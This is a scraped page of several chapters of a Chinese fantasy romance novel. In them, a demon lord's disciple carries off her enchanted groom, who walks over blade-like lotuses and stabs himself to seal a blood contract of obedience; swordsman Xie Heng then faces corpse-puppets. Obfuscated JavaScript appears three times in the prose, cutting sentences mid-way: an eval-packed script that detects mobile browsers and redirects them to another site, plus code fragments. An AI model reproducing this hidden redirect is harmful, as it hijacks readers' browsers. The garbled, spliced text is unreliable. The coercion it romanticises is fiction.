她微微倾身,纤细的手指轻轻触碰着镜面。镜前的少女明眸皓齿,明艳得惊世无双。可是司凌觉得镜前的少女并不是自己,帷帽下的,黑纱下的,兜帽下的才是她。 “阿凌真好看啊,年轻可真好。” “这是阿凌原本的样子哦,术法只是隐去了你长出的青鳞。” “可是.......” “不要可是了,阿凌不是想过几日人间的日子吗,那就去吧。温致宁,她这样的一生本就是你给她的,如果不是阿凌的话,她也会和当初的你一样被人卖到到相思坊去。” 司凌怎么能不恨呢。 如果不是温致宁,她又怎么会被楚悬赶出晓雾峰,她又怎么会被收养她的家庭再一次抛弃呢。 楚悬赶她离开晓雾峰的时候,在山下的村落给她觅了一个收养的人家。那家人受晓雾峰荫庇多年,对楚悬感激涕零,又没有子女,原本对她视如己出。 她那时是感激楚悬的,他至少给了自己一条生路,没有让她曝尸荒野。做不了他的弟子,是自己太龃龉太不堪。 可是山上的传言渐渐传到了山下,养父母看她的眼神多了几分畏惧。 怀疑一旦滋生,就如野草般蔓延开来,即使被短暂的被温情烧尽,又会因一阵风而又生发开来。 楚悬。她在心里念着这个名字。 楚悬。 既然恨我生性恶毒,为什么不一剑杀了我呢?既然想着要给我一条生路,为什么偏偏把我放在离晓雾峰这样近的地方,好让他们对我生疑呢。 终于在一天晚上,她听见村口的郎中说,养母多年没有动静的肚子,终于孕育了一个小生命。 “恭喜夫人啊,恭喜恭喜!” 恭喜。 阿黄安抚似的把肚皮露了出来好让她摸。她把阿黄抱了起来,眼泪打进了阿黄这些日子因为吃饱喝足而渐渐有了油水的毛里。 “汪,汪!” “阿凌,你怎么不过来呀,你要有弟弟妹妹咯,开不开心!” “多亏了这个孩子呀,”郎中贺喜说,“自从收养了这个孩子,孩子也有了,窑洞也又打了两窟。是这个孩子命里头有手足呀。” 是么。司凌想。 她的第三个家,现在也容不下她了。 她是在月黑风高的晚上走的,这一次,她什么也没有带。阿黄在那个家里待得很好,阿黄本就是很有本事的看家狗,只要能吃饱饭,它就有数不完的力气。它也很会察言观色,从不在不该叫的时候乱叫。 为了避免吵醒阿黄,她用了比预计多一点的时间,才从那个家里跑出来。 要去哪里,她还没有想好。但是她已经见过了这个世道,有人比其他人“更像人”地活着。 那个人多么高风亮节啊,像仙人,也像圣人。 她想要把他拉下来,从晓雾峰的顶上拉下来。 她就是在这时候遇到师尊的。女人戴着覆面,身型窈窕,附近的山头本就是一片坟场,她路过时,万鬼嚎哭。 “好孩子,这么晚了,怎么一个人在外面呀。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 她收她为弟子,像母亲一样照顾她起居,为她梳妆,为她束发,教她术法,传她修为。 “我杀过人......”司凌颤抖着声音,“我杀过.......无辜之人。” 魔尊笑了起来:“傻孩子,这里是魔界,杀过人又如何呢。我不杀伯仁,伯仁却因我而死。谁能保证没有害死过人呢,不过是那人命该绝罢了。” 有人将她带入仙门又推她入深渊,也有人说,阿凌,你是我唯一的弟子,你想要的一切本来就属于你,只是你需要鼓起勇气去把这些争夺回来。 于是司凌劫下了那辆温家的马车,代替容貌和自己一模一样的同胞妹妹穿上了嫁衣。 她本不关心温致宁原本要和谁结婚,本想一进婚房就迷晕那个倒霉蛋,逃离那场无谓的缠绵。 可是红烛摇曳,那人缓缓掀起了她的盖头,司凌的眼睛缓缓适应了周围的光线,然后看见了一张年轻的脸。 少年一身喜服,丰神俊朗,眉目间透着清朗的气质,让她不禁愣住。时间仿佛静止,司凌的心跳也随之加速,完全忘记了自己的初衷。 竟和楚悬有七分的相似。 时隔多年,再看见这张脸的时候,司凌竟然还是会为之一怔。 她应该做出什么反应呢,司凌本以为,她应该是恨极了这张脸的。 她本应想杀了他的,她本应该想要废了他修为,将他扔进魔界十方血海由最低等的劣魔分食殆尽的。 可是她看到这张脸的时候,最先想起的,是月下仙人踏空而来,却独独落在她的身侧。 月光在他身后绽开,在稻田如水摇曳。 她把封霁川推倒在喜床上,指甲在他的背上留下深深的划痕。他的嘴唇沁出鲜红的血珠,那是司凌刚刚咬破的。 “夫君.......我是谁?” 封霁川的眼睛里沾染了水汽,司凌的亲吻落在他的眉边。 “明天,我带夫君回家,好不好。” “本该去拜访岳父岳母的。” 司凌笑了笑,封霁川看不见她的神情,只是虚虚揽着她的腰:“睡吧,今天一定累了吧。” “夫君......晚安。” 司凌想,她要把他带回魔界。 这人间并不怎么的好,见过也便见过了,她要把她的小夫君带回魔界。 十方殿前,妖冶的红莲开了十里。 “师尊.......”司凌愣了愣,封霁川还昏迷着,被人带了下去,“这是魔尊迎娶眷属的仪式。” “是啊,怎么了阿凌,是我会错意了吗,你不想娶他,只是想要当个脔宠玩玩吗?” 魔尊的眷属会被魔尊订下血契,使之对魔尊永远忠诚。脔宠却没有这样的规矩,因为魔尊常常圈养数目庞大的脔宠,血契会不利于交换和买卖。这一任魔尊不好美色,对这二者几乎都毫无兴趣。 “没,没有.......我只是,我怎么能用魔尊的仪式呢?” 魔尊笑了笑:“我的东西,现在或者以后,迟早都是阿凌的呀。” 20. 这下子他像是一个真正的布偶了。 “阿凌谢过师尊。” 魔尊微微一笑,温柔地伸手抚摸着她的脸颊,如同轻风拂面,温柔的声音里也带上了一丝不容置疑的命令:“好啦,别撒娇,去试试礼服吧。” 封霁川醒来时,眼前陌生的场景让他几乎以为自己还在做梦。殿内是公主府十倍不止的华丽,奇珍异宝堆了满屋,几个打扮华美精致的魔姬额贴花钿,朱唇如丹,正在像打扮布偶一样给他换上衣服。 这是哪里?她们又是什么人? 昨夜,他扶了扶胀痛的头,努力回忆着,昨夜是他成亲的日子,新娘是父亲从前故交的女儿,温柔可人,容色倾城。 十里红妆,锣鼓喧天。整个司州城有头有脸的人家都派人参加了这场婚礼,虽然爹爹替他挡了些酒,但是他还是被人灌了不少,以至于现在醒来时,他头昏脑涨,身体也觉得十分无力。 他心下惶恐而不安,下意识地想要推开她们,却被魔姬轻松地止住动作。 “你们是谁?这是哪里?这是绑架,我爹娘会报官的。”他努力稳住心神,尽量不让自己露怯。 其中一个魔姬微微侧头,唇角勾起一抹玩味的笑容,仿佛在欣赏一场精彩的表演:“报官?小少爷知道我们是谁吗?” “现在去帝君庙里烧个香或许会管些用呢,”另一位魔姬插嘴,眼中闪烁着狡黠的光芒,语气有些戏谑,“毕竟就算是仙界那些人,除了帝君,也都不是我们魔尊大人的对手呢。” 仙界,魔尊......? 这里到底是哪里。 封霁川环顾四周,试图找寻一丝熟悉的迹象,来证明自己只不过是被卷入了一个离奇的梦境。 “见过陛下。”就在这时,几个魔姬忽然转身,恭敬地向一位缓缓走入的身影施施然行了个礼。那位高贵的女子衣着华丽,不怒自威,脸上带了一个纯金的面具,封霁川家境优渥,看出了那面具似乎像是什么楼兰国的风格。 魔尊随和地抬手让她们不必多礼,魔姬们便专注于给他穿上繁重的婚服,那些金丝绣花的衣料与繁复的饰品让他倍感压迫,仿佛在这华丽之下藏着无形的桎梏。 他的心跳得飞快,浑身的不安与忐忑愈发加剧。 “阿凌喜欢你,所以我叫她把你带回来了,这是魔尊迎娶眷属的仪式,阿凌是我的弟子,我允她也用这样的仪式。既然是两情相悦,就不要给我添麻烦了,好吗?” 封霁川在那双深邃而温柔的眼眸注视下不再挣扎了,心中浮起一丝难以言喻的情感。她的轻声细语仿佛对他施加了诡异的魔咒,让他不自觉地放下了挣扎,任凭魔姬们忙碌地为他披上繁重的婚服。每一件衣物都缀满了金丝与繁花,压得他几乎喘不过气来。 魔姬们的手法轻柔而娴熟,像是在打扮一个无辜的布偶,她们的笑声在耳边环绕,带着一丝戏谑,却又显得温柔而亲切。 这下子他像个真正的布偶了。 “还没过来的时候,听着你喊着要报官什么的,魔界的一切都是我在做主,有什么冤屈都可以同我说。” “我听阿凌说,昨天晚上她已经问过你了,你也答应了明天要跟她回家,所以我刚刚听见你说要报官什么的,想着是不是有什么误会,便进来看看。” “是的,”封霁川有些茫然地点了点头,“昨天我是答应了她要同她回家的,见她的父母的。” “这就没错了,”魔尊隔空在封霁川额上轻点了一下,“阿凌这孩子命途坎坷,父母早逝,我把她视如己出,你也是个好孩子,我希望你和她好好过日子,不要想些乱七八糟的事,好吗?” “我知道,人到了陌生的环境,总是会有些不自在的。”魔尊的声音柔和如水,似乎想要抚平封霁川心中的紧张,“阿凌也在换衣服呢,过一会儿你就能看见她了,别担心。” 封霁川温顺地点了点头,任凭魔姬给他戴上他认不得的配饰。 “少主来啦?”魔姬们看着款步而入的司凌,笑着打趣,“少主今天真好看。” “这是什么话啊,少主每天都很好看啊。”另一个魔姬抢着说道。 “又贫嘴。”司凌笑着扫了魔姬一眼,她一身黑金华裙,华丽而优雅,头发高高地挽成髻,碧玉簪子在阳光下闪烁着柔和的光泽,那是师尊取魔池中的原石亲手为她打制的。 “夫君,我来接你了。久等了。” 封霁川抬眼看着那张熟悉的脸,心中顿时泛起了从没有过的委屈。 他好像应该问她什么来着,她是谁,这是哪里,为什么带他来这里。 是这些吗,好像不记得了。他本来就应该是她的夫君,本来就应该来这里拜会她的父母,也本来就该完成妻子这边婚礼的仪式,才能永结同心,白头到老。 是这样的,本应如此的。 “怎么了,是我让夫君等得太久,夫君不开心了吗?” 她伸出手,温柔地牵着封霁川,唤他一步步踏过殿前的红莲。那些红莲并非真正的花朵,而是由无数块雕刻得细腻无比的红玉构成,光泽如烈焰般耀眼,微微反射着周围的光影。每一片花瓣薄如蝉翼,透出一丝丝晶莹的光芒,仿佛在轻轻颤动,像是在回应着他们的脚步。 封霁川踩在红玉之上,只觉疼痛难耐。他的妻子悬浮于空,熟悉的面庞上却是陌生的神情。 “夫君,走过来,我们才能成礼。”司凌的语气温柔而不容置疑。 “很疼.......” “还有不到一半了,夫君走不过来的话,就得用其他方式过来了。” “........什么?”封霁川抬头看她,那张和楚悬相似的脸上,交织着依赖和畏惧。司凌看着他这样的神情,怜惜之余,更多的似乎还是畅快。 “你不会想要知道的。”司凌说。 越靠近岸边,红莲越是难行,封霁川几乎是倒在了司凌的身上,才勉强稳住身形。 “阿凌......好疼,不要继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13870739|146871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好不好。” 司凌温柔地替他抹去眼泪,却对他的请求只字不理,像一个严厉又温柔的教书先生。 “可是如果不能走完的,夫君是不能成为我的眷属的呀。”司凌的语气有些委屈,仿佛在责怪封霁川不愿成为她的眷属。 封霁川顿时觉得有些愧疚,下意识地咬住了自己的嘴唇,生忍着疼又迈出了一步。 “疼的话,可以喊出来。”司凌掰开了他防止自己呻吟出声而紧咬着的双唇,上面已经沁出了殷红的血珠,封霁川害怕咬到她,小心翼翼地松开了牙。 “马上就到了呢,夫君再坚持一下。” 封霁川疼得已经几乎失去意识了,他十多年的人生里,从未经受过这样的折磨,他朦朦胧胧地听见了司凌温柔的鼓励,鼓起勇气再向前了一步,踩在了刀锋一般的红莲上。 终于走到魔殿前的时候,封霁川踉跄了一下,跪倒在了司凌面前。 司凌安抚似的俯身摸了摸他的头:“夫君辛苦了。” 霁川的眼睛蒙上了一层雾气,似乎随时都要落下泪水,他小心翼翼地抓住了司凌的衣角,他小心翼翼地抓住了司凌的衣角,仿佛是他在这全然陌生的地方唯一可以仰仗的东西:“......结束了吗?” 仪式刚刚进行了一半,司凌摇了摇头。 “很快了哦。”她安慰说,声音如同惠风拂面,安抚着他紧绷的神经。回想起昨天那个满脸春风得意的小公子,此刻半跪着仰望她的神情,让她心中泛起一丝怜惜。封霁川的眼神湿漉漉,流露出一股无辜的依赖,像小狗。 阿黄也会有这样的神情呢。每回她偷偷摸摸地省下一点剩饭倒给阿黄的时候,它就会用这样湿漉漉的眼神看着她。 她俯下身子,挑起封霁川的下巴,略过蜻蜓点水般的一个吻:“夫君刚刚做的很好,这是奖励。” 接下来,就是血契了。 司凌缓缓摘下了自己头上的簪子,递给封霁川。 血契之礼,是要取眷属或是脔宠的心头血,由魔尊点于自己的眉心。 血契一成,便会成为魔尊永远忠诚,永远服从的眷属,除非死亡,否则不可解除。 封霁川对此一无所知,他的意识模糊,手指颤抖着接过簪子,毫不怜惜地扎进了自己的胸口。 簪子刺破血肉,殷红的血浸染了正红的礼服,他难耐地发出来一声下意识的呻吟。 “夫君好乖,”司凌笑了笑,“夫君知道这是在做什么吗?” 封霁川几乎无法做出回应,只是讨好似的用脸小心翼翼地蹭着司凌的手掌。 司凌安抚似的碰了碰他的额头,指尖轻点在他的伤处,把血点在自己的眉心。 礼成。 “这是血契。以后夫君就只有我一个人了,夫君这样义无反顾,不会后悔吗?夫君以后,可就再也不能对其他人动心了。” 封霁川抬头看着她,目光乖顺而虔诚:“只要阿凌。” 21. “那一剑还是没能杀死您么,师尊?” 谢珩推开门的时候,瘦弱的少年已经靠在巨大的机甲傀儡旁睡着了。 他双手紧抱着膝盖,像是一个累极了的小动物,头微微歪向一侧,靠在冰冷的金属上,呼吸均匀而浅,显然已经进入了梦乡。偌大的工作室里,只有机甲身上零星散落的工具,显得有些凌乱。 “喂喂,醒醒啦师弟!”谢珩身边的少女正要出声叫醒他,却被楚悬拦了下来。 楚悬从玲珑囊里掏着掏着,套出一套齐全的文房四宝,当即就动作娴熟地开始研墨,墨汁在砚台里发出细微的“沙沙”声。 少女看着他令人惊叹的执行力,用漂亮的杏眼狠狠瞪了他一眼,从后面跟拍西瓜一样拍了拍他的脑袋,低声道:“死小子,又想了什么坏主意欺负师弟是吧。” “师姐别打我,就画个王八嘛,哎哟哟,你看他这样子,肯定晚上又没好好休息了,叫他长长记性。” 楚悬跪坐在少年边上,嘴角挂着无赖的笑容,用毛笔在他的左边白皙的脸颊上画了个活灵活现的乌龟,正要对他的右边脸颊下手,想起什么似的抬头看向谢珩:“师兄要不要来画?” 谢珩微微蹙眉,有些嫌弃地扫了他一眼,走到巨大的机甲傀儡边上,指尖拂过冷硬的机甲:“你画吧,我不画。” 林景辉安静地睡在傀儡旁,任由楚悬动作。他是师尊第四个弟子,五岁那年被师尊从人间捡回巫山。五岁的时候就被师尊捡回了巫山,是谢珩他们看着长大的。他体弱多病,就算用了再多灵丹妙药也不见好,几乎无法修道。 师兄师姐们每次下山时,总会带些人间的稀奇玩具回来逗他开心。偶然间,大家发现他对机巧之术和傀儡构造极为着迷。自那以后,众人每次下山都会刻意寻来各种精巧的机关玩意儿给他。 师尊由此得到启发,于是有了傀儡道,这是一种无需依靠修为和灵力的修道之法,以机关傀儡为宗,变换无穷,即便是像林景辉这样天生体弱无法筑基的修士,也能修习其中奥妙。 小师弟自从学了傀儡道,整个人都像着了魔一样天天一头扎进那些机关傀儡里,废寝忘食。 “.......师兄师姐?”林景辉迷迷糊糊地睁开眼睛,睡眼惺忪,“你们怎么来啦?” “晚上不好好睡觉,跑这里补觉了?你这样子身体怎么会好。”魏灵溪有些愠怒地骂道。 “师姐别生气,我知道错啦。”林景辉被师姐的训斥弄得手足无措,只能讪讪地挠了挠头,明亮的眼睛一闪一闪,像只无辜的小动物。他悄悄地瞥了谢珩一眼,带着点求助的意味。 谢珩一直站在一旁默默看着,似乎早已料到这种情况。感受到林景辉的眼神,他微微叹了口气,眼中浮现出一丝无奈,在这样的事情上,他一向耳根子最软。但是一向不善言辞的人转移话题起来刻意极了,他抬了抬手,假装不经意地看巨大的机甲傀儡:“.......这是,新的傀儡吗,还挺.......有趣的。” “是呀,”提及傀儡时,林景辉很是骄傲,“从前的傀儡术都需要人以线牵引,所以一人能操纵的傀儡十分有限。我现在正在研制的这种傀儡,只要在一开始给出条件和指令,不需人以线牵引,就可以自主行动,这样一个人就可以同时操纵许多傀儡,对付魔物要方便得多,即使不通傀儡之术的凡人,也可以用它们看护家宅免受魔物侵扰.......” 说到一半时,他又禁不住轻咳了两声,脸色微微泛白。 魏灵溪心疼地瞪了他一眼,连忙把他从地上扶起来,把自己的外袍披在他肩上,嘴上却是没好气:“叫你晚上不好好休息,现在在这里睡觉,你看,着凉了吧?” “谢谢师姐,”林景辉没有推辞,拢了拢魏灵溪的外袍,上面仿佛还残余着师姐身上熟悉的味道,“师姐我知道错了......” “那现在你说的这种新的傀儡,研究到哪一步了?”楚悬一边把玩着手中的毛笔,插话问道。 谢珩心想若是师尊看到他又这样转着笔玩,只怕又该挨骂了。 “就差临门一脚了!”林景辉的眼睛亮了起来,“我打算去找师尊,我跟师尊一块想办法,这要是成功了,肯定是造福六界的大好事!” “意思就是短期内还没指望。”魏灵溪淡淡瞥了他一眼,翻译道。 “师姐!”林景辉一脸委屈地叫了她一声。 “灵溪也是为了你好,你都说了是造福六界的大好事,那这样的大好事一天也干不成,赶紧去休息吧,”谢珩出来打圆场。 他停顿了一下,语气里带着不容拒绝的柔和劝慰:“我们这次下山给你寻了些药草,我不懂医道,灵溪和楚悬说这些对你身体有好处,尽快服了去休息吧。” “对了,”谢珩看着林景辉脸上的王八图,补充道,“脸上的东西记得洗,晚了就没那么容易清理了。都是楚悬画的,跟我们俩没有关系。” 话音刚落,魏灵溪已经从袖中掏出一面小镜子,递到林景辉面前。林景辉一看,顿时瞪大了眼,白皙的脸颊上,一只硕大的乌龟浓墨重彩地趴在那里。 他气得站起来正想去找楚悬算账,结果四下看去,那人早就溜得不见踪影了。 “你还跟楚悬计较这些,”他刚要追出去,耳朵却被魏灵溪轻轻揪住,不得不止步。魏灵溪无奈地摇了摇头,从袖中抽出帕子,沾了点水,轻柔地替他擦拭脸上的墨迹,动作小心翼翼,“改明找个机会,你也在他脸上画王八就是了。” “画猪头,画什么都好,反正随你喜欢。”魏灵溪半真半假地笑道,眼底却闪过一丝不易察觉的温柔。 不知道是不是这么大了还被师兄在脸上画王八图还要师姐来主持公道太丢人,林景辉的耳朵微微发了红。 那天夜里,工房里又想起窸窸窣窣的动静,谢珩随手抓起一件外袍披上,就拉开了工坊的门。 房间昏暗,只有微弱的灵石光照亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13870740|146871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了四周。一堆散乱的傀儡零件和灵符中,魏灵溪正蹲在那里,专注地检查着什么。听到动静,她抬起头,额前的碎发微微晃动。 “这么晚了,你在做什么?”谢珩声音不高,却带着一丝不解。 “你来这里做什么?”魏灵溪几乎同时发问,语气中夹杂着些许疲倦。 两人话音一落,空气中便安静了下来。对视片刻,谁都没有急着打破这片沉默。 最终,魏灵溪轻轻叹了口气,抚平了手中的一张灵符,认命一般地承认说:“我来帮师弟瞧瞧这些傀儡,师尊这些日子闭关了,想要找到她怕是要等上许久,我不想师弟失望难过。” 谢珩一直觉得师尊心里,魏灵溪是最肖似她的弟子。她同师尊一样是个散修,聪慧通透,入门不到十年就悟道飞升,大道三千无不通晓。 “看出什么了吗?”谢珩倚在门框边,目光扫过魏灵溪手里的傀儡零件,随口问道。 “师兄看出什么了吗?”魏灵溪手下的动作顿了顿,抬起头来,眉梢微挑。 谢珩唇角微微扬起,懒洋洋地答道:“看出你喜欢师弟,但是没好意思表白,只好半夜一个人在这里…….” “谢珩!”魏灵溪气急,猛地站起身,“知道你的剑道已经是天下至尊升无可升了,你一天到晚那么闲,就不能去收个徒弟找个道侣?” “傀儡之道是死道。”谢珩神色淡淡地转移话题,并不想理会魏灵溪恼羞成怒的胡言乱语。 “你也看出来了,”魏灵溪凝重地说,“傀儡的关节需要大量灵符灵石,这样的成本算下来,就算全部灌给一个普通的修士也足够令他接近飞升了。我们巫山资源丰沛,给景辉玩玩是可以,可若要如他所想,将傀儡术推广至普通凡人那里……” “并非没有可能。” 谢珩和魏灵溪对视一眼,明白了对方心中所想。 长剑破空,傀尸应声倒下,又有新的傀尸踩着前面的傀尸自杀般地去迎接谢珩的剑。 抱歉,景辉,你的傀儡术,并没有如你想象的那般造福六界。 百年之前巫山一战,师尊和同门皆战殁于此。六界之内,除了谢珩和楚悬,本该不会再有通晓傀儡术之人了。 眼前的尸傀和早已失传的傀儡术几乎同根同源,早在第一次见到相思坊的那个所谓坊主时,谢珩心下就已经有了疑问。 打通傀儡的灵窍需要大量灵符灵石,方能令其像人一样使用灵术,其成本早已超过了培养一个普通的凡人成为修士的成本,算得上是得不偿失。 但是若取凡人炼成傀儡,这几乎就称不上问题了。 这几乎是邪魔外道,当初的谢珩和魏灵溪一开始便预料到了这一点。也就是因为这个,傀儡术最终也便没有如林景辉期待的那样推及三界。 谢珩又持剑斩落一片尸傀,额前已经沁出细细密密的汗珠。 “那一剑还是没能杀死你么,师尊?” 22. 齐姜师祖 阴沉的傍晚,荒野上是满地散落的尸傀残体,唯有谢珩一身白衣,未染纤尘。 他轻轻牵动手指,小白此前留下的红线出现的在他的指尖。听凭她把红线套上他的小指时,他又加了一道符咒。 “小白,能听见吗?” “师尊?”小白的声音有些惊喜,“师尊你那边怎么样了?” “我没事,”谢珩的声音不自觉地放柔了下来,“你和孟婷他们先把那些幸存的受害者送回去吧,我一会儿就来找你们。” “师尊.......师尊为什么不和我们一起送她们回去?”师月白看着指尖的红线,似乎随时都想要冲到谢珩身边一探究竟。 “那些死去的少女,我还要为她们敛尸。我一个人就好。” 师月白似乎还想追问,指尖的红线却已经隐去了。她眼神有些失落,被孟婷尽收眼底。 孟婷什么也没说,只是轻轻扣住了她的手腕。 听剩下的少女说,那些身殒的少女几乎是被生剥了人皮,那样的惨状,不仅谢珩不想让师月白看见,想来那些少女也不想再多一个人看见那样的死状。 师月白还是孩童心性,就像刚刚被送到学堂舍不得父母的孩子,比起安慰,她还是更需要其他事情来吸引她的注意。她附在师月白耳边低声地说了什么,师月白有些惊讶,随即点了点头。 洛禺则走到了温致宁的身边,礼貌地询问因为情况有些特殊,能否最后送她回家。 温致宁连原因也没有问,当即点了点头:“仙长安排就好。” 多懂事的孩子,咋偏偏碰上了这等子破事。洛禺在心中叹惋。 洞穴里的时间几乎是停止流动的,走出了洞穴,女孩们才惊觉又冷又饿。孟婷用燃烧符生起了火堆,洛禺和师月白一个去打水摘果子,一个则去捕猎了。 孟婷一开始还担心在仙山被师伯千娇万宠长大的师月白可能打不到什么猎物,于是等洛禺打水回来之后,自己挑了几个手脚灵活的姑娘,打算带她们去河边捕鱼。 结果不出一会儿,不远处就传来狮子的长啸,一个小白点在灰色的荒野中显得有些突兀。孟婷赶过去一看,大白狮子叼着一只巨大的鹿,讨赏般地仰头看着她。 倒像是只捉到了老鼠的家猫。 谢师伯家养的还真是不一样啊。孟婷忍不住摸了摸大猫的脑袋,狮子发出愉悦的呼噜声,变回了人形。 “这么血淋淋的,会不会吓到大家,我们把他们分好再回去烤吧。” 孟婷笑了笑,拿出随身的匕首开始分割鹿肉:“那些姑娘可能不怕,但是洛禺师兄只怕是怕的紧了。” “够了吗,不够的话,我再去打一些来。” 狮子毕竟是狮子,捕猎是刻在野兽基因里的东西,就算是从小被谢珩当成猫养的师月白也不例外。 “先把这头鹿带回去烤了吃了再走,我们还未飞升,除了比凡人有些灵力之外,也都是肉体凡胎。你呀,要是一根头发丝饿瘦了,师伯都得要我和师兄好看。” 师月白嘿嘿地笑了,她确实是有点饿了。打到鹿的时候,她也是费了好大功夫,才勉强忍住没先啃下一半,而是把它搬到这里的。 洛禺和其他姑娘已经生好了火烧熟了水,见师月白回来,其中一个姑娘立马倒了水喂到她嘴边。 师月白还有些怪不好意思的,她虽然是第一次打猎,但是狮子的奔跑速度和反应力咬合力都是天生的,打一只鹿而已,对她来说几乎毫不费力。一路上一直被庇护在师尊的羽翼下的师月白头一次感受到了被人依赖是什么感觉,心中顿时升起了无限的责任感。 没有佐料的鹿肉味道称不上好,但是又惊又饿的姑娘们顾不上这些,狼吞虎咽地吃完了一头鹿。师月白本想偷偷拿一块生肉躲去角落里吃的,却被一个单纯热心的姑娘拦下:“仙长,您饿了吗,先吃我这一块吧,您这块我去帮您烤一烤。” 师月白有口难辨,看着生肉上面的血迹直流口水,但是看着那个年纪比自己还小的姑娘热心的眼神,最后还是没舍得拒绝。 讨厌她。早知道就偷摸着吃一口再叼回来了。 天色将晚,有这三人在,魑魅魍魉和宵小之徒自然伤不得这些姑娘半分。但是入夜之后视野晦暗山路难行,孟婷想着,还是趁夕阳未落的时候走出这片荒野找个村落才好。 姑娘们也归家心切,众人又收拾着匆忙上路,山野间时有狼群长啸,姑娘们有些害怕,师月白就化出了原身,走在最前面,对着狼群长嚎的方向发出几声中气十足的狮吼。 “好威风。”其中一个姑娘惊叹,“和画册上的狮子一模一样呢。” “仙长仙长,画册上的狮子不是有鬃毛吗,为什么仙长你没有啊。”是那个年纪最小的姑娘。 因为我是母的啊。师月白心里忿忿地想,那鬃毛有什么好看的,硬梆梆的扎人,摸起来一点都不舒服,我师尊说了。我就算没有鬃毛,也比他们漂亮威风得多。 “因为小白仙长是母狮子哦,”孟婷耐心地解释,“只有公狮子才有鬃毛。” 狼群听见狮吼之后,果然不再出现了。狼群和狮群向来井水不犯河水,何况人类本就不在狼群的食谱之上。这下连附近猿啼和鸟鸣也不再有了,山野间宁静无声,唯有众人踩在的落叶之上,发出沙沙的响声。 太阳落山之前,大家总算是走到一处附近的村落。其中一个女孩便是这个村里的,师月白送她回了家后,女孩的家人几乎喜极而泣。 “仙长,我们家里虽然不大,但是既然今天天色已晚,不如大家便先在我家留宿吧。” 师月白正犯愁今天晚上去哪里落脚,当即就要应下来。她虽然是在灵山被娇生惯养着长大的,大约是本性所致,对睡觉的地方并不挑。可是带上了那些姑娘,事情就不一样了起来。她可以随地睡觉,但是那些姑娘说什么也不能让她们跟她一样随地睡啊。 可是她转念一想,却没有立即答应,只回应女孩的母亲和哥哥说,要回去和大家商量商量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13870741|146871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 洛禺一听她的描述,便一口回绝了。见师月白有些茫然地看着自己,洛禺摇摇头,叫她先去回绝了那户人家,回来再同她解释原因。 等她再回来时,孟婷说洛禺师兄已经找到了一处破庙,只等着她回来就一起出发。 师月白在一路上并没有看见什么庙宇,原本以为可能只是自己疏忽了,却发现孟婷带着自己已经走出了许多里路,才迎面遇上回来找她们的洛禺。 “还有多远啊洛师兄,怎么找了个这么偏的地方。”她本还想埋怨要走这么远的路,为什么不干脆在刚刚的地方留宿呢,她不嫌累,但是走了这么久的路,那些姑娘看起来都疲惫极了。 不过她虽然化形不久,却也意识到这样说的话会拂了洛师兄的面子,于是把后半句话咽回了肚子。 “抱歉,”洛禺小声地道了歉,“但是那户人家有外男在,让这些姑娘彻夜留宿在那里,她们的清白怎么办。” 师月白许久没有说话,洛禺以为她是明白了这些姑娘的无奈,便没有再过多解释。 直到众人走到破庙里,师月白才扬起脸,悄悄地走到他和孟婷身边,有些不好意思问:“师兄,清白是什么。” 夜空无星无月,废弃的庙里没有僧人,唯有神像静静地望着他们。因为庙宇经年未经修缮,神像的脸早已腐蚀得看不清原本的样子,只能依稀看出是女子的模样。祂只是静默着坐在那里,无悲无喜。 “比让她们早些休息还要重要吗?” 二人皆是怔了怔。破庙里,雨水顺着没有填补的屋檐漏了进来,每隔一段时间,发出滴答的响声。 师月白从小在仙门长大,纲常伦理,三从四德,谢珩自然不会教她这些。洛禺求助似的看了看孟婷。 “我说的未必对,”孟婷微微皱了皱眉,“君为臣纲,父为子纲,夫为妻纲.......守住清白,不见外男,便也是其中一环.......世道对女子多苛刻,人间之事,从来如此。圣人说,这是安定之道。” “圣人也是人呀,他说的,那便一定对么?” “也许对,也许不对,”洛禺说,“但是她们自己也是这般想的。” “可是他们没有发现不对吗?”不过是多走了些路,不过是多吃了些苦,可是他们本可以不多走这些路,师月白这样想着,下意识说了出来,“如果皇帝是个混蛋,父亲是个混蛋,丈夫是个混蛋,也要把他说的什么狗屁话都供起来吗?” 孟婷神色大变,惊得下意识地捂住了师月白的嘴:“小白,以后莫要说这样的话。” 齐姜师祖入魔之前,便说过这样什么君君臣臣父父子子不过狂言妄语的话。 而后她杀戒大发,状若疯癫,喊着清六界灭浊世,便要化天地为熔炉,邀众生赴死。 传说她挥广袖便引来万里山洪,一剑出便引来无边山火。 最终门下六徒围剿她于巫山,而后被首徒谢珩一剑斩落。齐姜仙君身殒之地,后人名曰,诛仙台。 23. 想保护师尊 